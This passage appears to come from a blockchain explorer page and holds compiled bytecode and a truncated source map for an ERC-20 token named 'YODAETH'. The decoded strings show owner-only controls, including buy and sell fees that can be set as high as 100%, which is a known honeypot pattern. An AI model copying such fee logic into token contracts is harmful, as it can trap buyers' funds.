9050612104565b81612056575f9050612104565b816001811461206c5760028114612076576120a5565b6001915050612104565b60ff84111561208857612087611faf565b5b8360020a91508482111561209f5761209e611faf565b5b50612104565b5060208310610133831016604e8410600b84101617156120da5782820a9050838111156120d5576120d4611faf565b5b612104565b6120e78484846001611fe8565b925090508184048111156120fe576120fd611faf565b5b81810290505b9392505050565b5f61211582611cc0565b915061212083611e1a565b925061214d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461203a565b905092915050565b5f61215f82611cc0565b915061216a83611cc0565b925082820261217881611cc0565b9150828204841483151761218f5761218e611faf565b5b5092915050565b7f4e6f20746f6b656e7320746f20737761700000000000000000000000000000005f82015250565b5f6121ca601183611bc2565b91506121d582612196565b602082019050919050565b5f6020820190508181035f8301526121f7816121be565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612232601783611bc2565b915061223d826121fe565b602082019050919050565b5f6020820190508181035f83015261225f81612226565b9050919050565b5f8151905061227481611c96565b92915050565b5f6020828403121561228f5761228e611c62565b5b5f61229c84828501612266565b91505092915050565b5f6040820190506122b85f830185611e79565b6122c56020830184611e79565b9392505050565b5f819050919050565b5f819050919050565b5f6122f86122f36122ee846122cc565b6122d5565b611cc0565b9050919050565b612308816122de565b82525050565b5f60c0820190506123215f830189611e79565b61232e6020830188611da2565b61233b60408301876122ff565b61234860608301866122ff565b6123556080830185611e79565b61236260a0830184611da2565b979650505050505050565b5f8151905061237b81611cc9565b92915050565b5f805f6060848603121561239857612397611c62565b5b5f6123a58682870161236d565b93505060206123b68682870161236d565b92505060406123c78682870161236d565b9150509250925092565b5f6040820190506123e45f830185611e79565b6123f16020830184611da2565b9392505050565b61240181611d31565b811461240b575f80fd5b50565b5f8151905061241c816123f8565b92915050565b5f6020828403121561243757612436611c62565b5b5f6124448482850161240e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6124a7602483611bc2565b91506124b28261244d565b604082019050919050565b5f6020820190508181035f8301526124d48161249b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612535602283611bc2565b9150612540826124db565b604082019050919050565b5f6020820190508181035f83015261256281612529565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6125c3602583611bc2565b91506125ce82612569565b604082019050919050565b5f6020820190508181035f8301526125f0816125b7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612651602383611bc2565b915061265c826125f7565b604082019050919050565b5f6020820190508181035f83015261267e81612645565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6126df602983611bc2565b91506126ea82612685565b604082019050919050565b5f6020820190508181035f83015261270c816126d3565b9050919050565b5f61271d82611cc0565b915061272883611cc0565b92508282039050818111156127405761273f611faf565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6127d281611c85565b82525050565b5f6127e383836127c9565b60208301905092915050565b5f602082019050919050565b5f612805826127a0565b61280f81856127aa565b935061281a836127ba565b805f5b8381101561284a57815161283188826127d8565b975061283c836127ef565b92505060018101905061281d565b5085935050505092915050565b5f60a08201905061286a5f830188611da2565b61287760208301876122ff565b818103604083015261288981866127fb565b90506128986060830185611e79565b6128a56080830184611da2565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6128e682611cc0565b91506128f183611cc0565b925082612901576129006128af565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612966602183611bc2565b91506129718261290c565b604082019050919050565b5f6020820190508181035f8301526129938161295a565b9050919050565b5f6129a482611cc0565b91506129af83611cc0565b92508282019050808211156129c7576129c6611faf565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612a01601b83611bc2565b9150612a0c826129cd565b602082019050919050565b5f6020820190508181035f830152612a2e816129f5565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d25876d8f1a66d8ebf4701ac9a7b02984eececb3d376630b04d7befdf222ddaf64736f6c63430008170033
Deployed Bytecode
0x60806040526004361061012d575f3560e01c806370a08231116100aa57806395d89b411161006e57806395d89b41146103ba578063a9059cbb146103e4578063bf474bed14610420578063c816841b1461044a578063c9567bf914610474578063dd62ed3e1461048a57610134565b806370a08231146102ea578063715018a6146103265780637d1db4a51461033c5780638da5cb5b146103665780638f9a55c01461039057610134565b806323b872dd116100f157806323b872dd1461021a578063313ce5671461025657806340b9a54b146102805780634f762fb7146102aa578063590f897e146102c057610134565b806306fdde0314610138578063095ea7b3146101625780630b78f9c01461019e5780630faee56f146101c657806318160ddd146101f057610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104c6565b6040516101599190611c42565b60405180910390f35b34801561016d575f80fd5b5061018860048036038101906101839190611cf3565b610503565b6040516101959190611d4b565b60405180910390f35b3480156101a9575f80fd5b506101c460048036038101906101bf9190611d64565b610520565b005b3480156101d1575f80fd5b506101da6105ff565b6040516101e79190611db1565b60405180910390f35b3480156101fb575f80fd5b50610204610605565b6040516102119190611db1565b60405180910390f35b348015610225575f80fd5b50610240600480360381019061023b9190611dca565b610628565b60405161024d9190611d4b565b60405180910390f35b348015610261575f80fd5b5061026a6106fc565b6040516102779190611e35565b60405180910390f35b34801561028b575f80fd5b50610294610704565b6040516102a19190611db1565b60405180910390f35b3480156102b5575f80fd5b506102be61070a565b005b3480156102cb575f80fd5b506102d46107f7565b6040516102e19190611db1565b60405180910390f35b3480156102f5575f80fd5b50610310600480360381019061030b9190611e4e565b6107fd565b60405161031d9190611db1565b60405180910390f35b348015610331575f80fd5b5061033a610843565b005b348015610347575f80fd5b506103506108ca565b60405161035d9190611db1565b60405180910390f35b348015610371575f80fd5b5061037a6108d0565b6040516103879190611e88565b60405180910390f35b34801561039b575f80fd5b506103a46108f7565b6040516103b19190611db1565b60405180910390f35b3480156103c5575f80fd5b506103ce6108fd565b6040516103db9190611c42565b60405180910390f35b3480156103ef575f80fd5b5061040a60048036038101906104059190611cf3565b61093a565b6040516104179190611d4b565b60405180910390f35b34801561042b575f80fd5b50610434610957565b6040516104419190611db1565b60405180910390f35b348015610455575f80fd5b5061045e61095d565b60405161046b9190611e88565b60405180910390f35b34801561047f575f80fd5b50610488610982565b005b348015610495575f80fd5b506104b060048036038101906104ab9190611ea1565b610df7565b6040516104bd9190611db1565b60405180910390f35b60606040518060400160405280600781526020017f594f444145544800000000000000000000000000000000000000000000000000815250905090565b5f61051661050f610e79565b8484610e80565b6001905092915050565b610528610e79565b73ffffffffffffffffffffffffffffffffffffffff166105466108d0565b73ffffffffffffffffffffffffffffffffffffffff161461059c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059390611f29565b60405180910390fd5b606482111580156105ae575060648111155b6105ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e490611f91565b60405180910390fd5b81600481905550806005819055505050565b600a5481565b5f6012600a610614919061210b565b633b9aca006106239190612155565b905090565b5f610634848484611043565b6106f184610640610e79565b6106ec85604051806060016040528060288152602001612a366028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106a3610e79565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116229092919063ffffffff16565b610e80565b600190509392505050565b5f6012905090565b60045481565b610712610e79565b73ffffffffffffffffffffffffffffffffffffffff166107306108d0565b73ffffffffffffffffffffffffffffffffffffffff1614610786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077d90611f29565b60405180910390fd5b5f610790306107fd565b90505f81116107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906121e0565b60405180910390fd5b6107dd81611684565b5f4790505f8111156107f3576107f2816118c8565b5b5050565b60055481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61084b610e79565b73ffffffffffffffffffffffffffffffffffffffff166108696108d0565b73ffffffffffffffffffffffffffffffffffffffff16146108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b690611f29565b60405180910390fd5b6108c85f611930565b565b60075481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b60606040518060400160405280600781526020017f594f444145544800000000000000000000000000000000000000000000000000815250905090565b5f61094d610946610e79565b8484611043565b6001905092915050565b60095481565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61098a610e79565b73ffffffffffffffffffffffffffffffffffffffff166109a86108d0565b73ffffffffffffffffffffffffffffffffffffffff16146109fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f590611f29565b60405180910390fd5b600b60149054906101000a900460ff1615610a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4590612248565b60405180910390fd5b610a8930737a250d5630b4cf539739df2c5dacb4c659f2488d6012600a610a75919061210b565b633b9aca00610a849190612155565b610e80565b6001600b60166101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b01573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b25919061227a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b9e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bc2919061227a565b6040518363ffffffff1660e01b8152600401610bdf9291906122a5565b6020604051808303815f875af1158015610bfb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1f919061227a565b600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c99306107fd565b5f80610ca36108d0565b426040518863ffffffff1660e01b8152600401610cc59695949392919061230e565b60606040518083038185885af1158015610ce1573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d069190612381565b505050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d999291906123d1565b6020604051808303815f875af1158015610db5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dd99190612422565b506001600b60146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee5906124bd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f539061254b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110369190611db1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a8906125d9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361111f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111690612667565b60405180910390fd5b5f8111611161576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611158906126f5565b60405180910390fd5b5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036111e5576111de60646111d0600454856119f190919063ffffffff16565b611a6890919063ffffffff16565b9050611265565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611264576112616064611253600554856119f190919063ffffffff16565b611a6890919063ffffffff16565b90505b5b5f8111156113f5576112bd8160015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ab190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061134e8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611afa90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113ec9190611db1565b60405180910390a35b61145761140b8284611ab190919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ab190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506114fa6114ae8284611ab190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611afa90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61159d8486611ab190919063ffffffff16565b6040516115aa9190611db1565b60405180910390a35f6115bc306107fd565b9050600b60159054906101000a900460ff161580156115e75750600b60169054906101000a900460ff165b80156115f557506009548110155b1561161b5761160381611684565b5f4790505f81111561161957611618816118c8565b5b505b5050505050565b5f838311158290611669576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116609190611c42565b60405180910390fd5b505f83856116779190612713565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156116bb576116ba612746565b5b6040519080825280602002602001820160405280156116e95781602001602082028036833780820191505090505b50905030815f81518110611700576116ff612773565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611797573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117bb919061227a565b816001815181106117cf576117ce612773565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061182830737a250d5630b4cf539739df2c5dacb4c659f2488d84610e80565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161187d959493929190612857565b5f604051808303815f87803b158015611894575f80fd5b505af11580156118a6573d5f803e3d5ffd5b50505050505f600b60156101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561192c573d5f803e3d5ffd5b5050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611a01575f9050611a62565b5f8284611a0e9190612155565b9050828482611a1d91906128dc565b14611a5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a549061297c565b60405180910390fd5b809150505b92915050565b5f611aa983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b57565b905092915050565b5f611af283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611622565b905092915050565b5f808284611b08919061299a565b905083811015611b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4490612a17565b60405180910390fd5b8091505092915050565b5f8083118290611b9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b949190611c42565b60405180910390fd5b505f8385611bab91906128dc565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611bef578082015181840152602081019050611bd4565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611c1482611bb8565b611c1e8185611bc2565b9350611c2e818560208601611bd2565b611c3781611bfa565b840191505092915050565b5f6020820190508181035f830152611c5a8184611c0a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c8f82611c66565b9050919050565b611c9f81611c85565b8114611ca9575f80fd5b50565b5f81359050611cba81611c96565b92915050565b5f819050919050565b611cd281611cc0565b8114611cdc575f80fd5b50565b5f81359050611ced81611cc9565b92915050565b5f8060408385031215611d0957611d08611c62565b5b5f611d1685828601611cac565b9250506020611d2785828601611cdf565b9150509250929050565b5f8115159050919050565b611d4581611d31565b82525050565b5f602082019050611d5e5f830184611d3c565b92915050565b5f8060408385031215611d7a57611d79611c62565b5b5f611d8785828601611cdf565b9250506020611d9885828601611cdf565b9150509250929050565b611dab81611cc0565b82525050565b5f602082019050611dc45f830184611da2565b92915050565b5f805f60608486031215611de157611de0611c62565b5b5f611dee86828701611cac565b9350506020611dff86828701611cac565b9250506040611e1086828701611cdf565b9150509250925092565b5f60ff82169050919050565b611e2f81611e1a565b82525050565b5f602082019050611e485f830184611e26565b92915050565b5f60208284031215611e6357611e62611c62565b5b5f611e7084828501611cac565b91505092915050565b611e8281611c85565b82525050565b5f602082019050611e9b5f830184611e79565b92915050565b5f8060408385031215611eb757611eb6611c62565b5b5f611ec485828601611cac565b9250506020611ed585828601611cac565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611f13602083611bc2565b9150611f1e82611edf565b602082019050919050565b5f6020820190508181035f830152611f4081611f07565b9050919050565b7f466565732063616e6e6f742065786365656420313030250000000000000000005f82015250565b5f611f7b601783611bc2565b9150611f8682611f47565b602082019050919050565b5f6020820190508181035f830152611fa881611f6f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156120315780860481111561200d5761200c611faf565b5b600185161561201c5780820291505b808102905061202a85611fdc565b9450611ff1565b94509492505050565b5f826120495760019050612104565b81612056575f9050612104565b816001811461206c5760028114612076576120a5565b6001915050612104565b60ff84111561208857612087611faf565b5b8360020a91508482111561209f5761209e611faf565b5b50612104565b5060208310610133831016604e8410600b84101617156120da5782820a9050838111156120d5576120d4611faf565b5b612104565b6120e78484846001611fe8565b925090508184048111156120fe576120fd611faf565b5b81810290505b9392505050565b5f61211582611cc0565b915061212083611e1a565b925061214d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461203a565b905092915050565b5f61215f82611cc0565b915061216a83611cc0565b925082820261217881611cc0565b9150828204841483151761218f5761218e611faf565b5b5092915050565b7f4e6f20746f6b656e7320746f20737761700000000000000000000000000000005f82015250565b5f6121ca601183611bc2565b91506121d582612196565b602082019050919050565b5f6020820190508181035f8301526121f7816121be565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612232601783611bc2565b915061223d826121fe565b602082019050919050565b5f6020820190508181035f83015261225f81612226565b9050919050565b5f8151905061227481611c96565b92915050565b5f6020828403121561228f5761228e611c62565b5b5f61229c84828501612266565b91505092915050565b5f6040820190506122b85f830185611e79565b6122c56020830184611e79565b9392505050565b5f819050919050565b5f819050919050565b5f6122f86122f36122ee846122cc565b6122d5565b611cc0565b9050919050565b612308816122de565b82525050565b5f60c0820190506123215f830189611e79565b61232e6020830188611da2565b61233b60408301876122ff565b61234860608301866122ff565b6123556080830185611e79565b61236260a0830184611da2565b979650505050505050565b5f8151905061237b81611cc9565b92915050565b5f805f6060848603121561239857612397611c62565b5b5f6123a58682870161236d565b93505060206123b68682870161236d565b92505060406123c78682870161236d565b9150509250925092565b5f6040820190506123e45f830185611e79565b6123f16020830184611da2565b9392505050565b61240181611d31565b811461240b575f80fd5b50565b5f8151905061241c816123f8565b92915050565b5f6020828403121561243757612436611c62565b5b5f6124448482850161240e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6124a7602483611bc2565b91506124b28261244d565b604082019050919050565b5f6020820190508181035f8301526124d48161249b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612535602283611bc2565b9150612540826124db565b604082019050919050565b5f6020820190508181035f83015261256281612529565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6125c3602583611bc2565b91506125ce82612569565b604082019050919050565b5f6020820190508181035f8301526125f0816125b7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612651602383611bc2565b915061265c826125f7565b604082019050919050565b5f6020820190508181035f83015261267e81612645565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6126df602983611bc2565b91506126ea82612685565b604082019050919050565b5f6020820190508181035f83015261270c816126d3565b9050919050565b5f61271d82611cc0565b915061272883611cc0565b92508282039050818111156127405761273f611faf565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6127d281611c85565b82525050565b5f6127e383836127c9565b60208301905092915050565b5f602082019050919050565b5f612805826127a0565b61280f81856127aa565b935061281a836127ba565b805f5b8381101561284a57815161283188826127d8565b975061283c836127ef565b92505060018101905061281d565b5085935050505092915050565b5f60a08201905061286a5f830188611da2565b61287760208301876122ff565b818103604083015261288981866127fb565b90506128986060830185611e79565b6128a56080830184611da2565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6128e682611cc0565b91506128f183611cc0565b925082612901576129006128af565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612966602183611bc2565b91506129718261290c565b604082019050919050565b5f6020820190508181035f8301526129938161295a565b9050919050565b5f6129a482611cc0565b91506129af83611cc0565b92508282019050808211156129c7576129c6611faf565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612a01601b83611bc2565b9150612a0c826129cd565b602082019050919050565b5f6020820190508181035f830152612a2e816129f5565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d25876d8f1a66d8ebf4701ac9a7b02984eececb3d376630b04d7befdf222ddaf64736f6c63430008170033
Deployed Bytecode Sourcemap
3617:7021:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5194:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6027:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9271:211;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4462:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5471:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6196:347;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5380:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4116:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10122:434;;;;;;;;;;;;;:::i;:::-;;4178:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5574:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1611:94;;;;;;;;;;;;;:::i;:::-;;4308:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1388:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4352:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5285:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5701:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4398:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4653:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9490:540;;;;;;;;;;;;;:::i;:::-;;5876:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5194:83;5231:13;5264:5;;;;;;;;;;;;;;;;;5257:12;;5194:83;:::o;6027:161::-;6102:4;6119:39;6128:12;:10;:12::i;:::-;6142:7;6151:6;6119:8;:39::i;:::-;6176:4;6169:11;;6027:161;;;;:::o;9271:211::-;1534:12;:10;:12::i;:::-;1523:23;;:7;:5;:7::i;:::-;:23;;;1515:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9369:3:::1;9359:6;:13;;:31;;;;;9387:3;9376:7;:14;;9359:31;9351:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9439:6;9429:7;:16;;;;9467:7;9456:8;:18;;;;9271:211:::0;;:::o;4462:51::-;;;;:::o;5471:95::-;5524:7;3925:2;3982;:13;;;;:::i;:::-;3969:10;:26;;;;:::i;:::-;5544:14;;5471:95;:::o;6196:347::-;6328:4;6345:36;6355:6;6363:9;6374:6;6345:9;:36::i;:::-;6392:121;6401:6;6409:12;:10;:12::i;:::-;6423:89;6461:6;6423:89;;;;;;;;;;;;;;;;;:11;:19;6435:6;6423:19;;;;;;;;;;;;;;;:33;6443:12;:10;:12::i;:::-;6423:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6392:8;:121::i;:::-;6531:4;6524:11;;6196:347;;;;;:::o;5380:83::-;5421:5;3925:2;5439:16;;5380:83;:::o;4116:26::-;;;;:::o;10122:434::-;1534:12;:10;:12::i;:::-;1523:23;;:7;:5;:7::i;:::-;:23;;;1515:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10182:28:::1;10213:24;10231:4;10213:9;:24::i;:::-;10182:55;;10275:1;10252:20;:24;10244:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;10335:38;10352:20;10335:16;:38::i;:::-;10417:26;10446:21;10417:50;;10499:1;10478:18;:22;10474:79;;;10513:32;10526:18;10513:12;:32::i;:::-;10474:79;10175:381;;10122:434::o:0;4178:28::-;;;;:::o;5574:119::-;5640:7;5667:9;:18;5677:7;5667:18;;;;;;;;;;;;;;;;5660:25;;5574:119;;;:::o;1611:94::-;1534:12;:10;:12::i;:::-;1523:23;;:7;:5;:7::i;:::-;:23;;;1515:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1676:21:::1;1694:1;1676:9;:21::i;:::-;1611:94::o:0;4308:37::-;;;;:::o;1388:87::-;1434:7;1461:6;;;;;;;;;;;1454:13;;1388:87;:::o;4352:39::-;;;;:::o;5285:87::-;5324:13;5357:7;;;;;;;;;;;;;;;;;5350:14;;5285:87;:::o;5701:167::-;5779:4;5796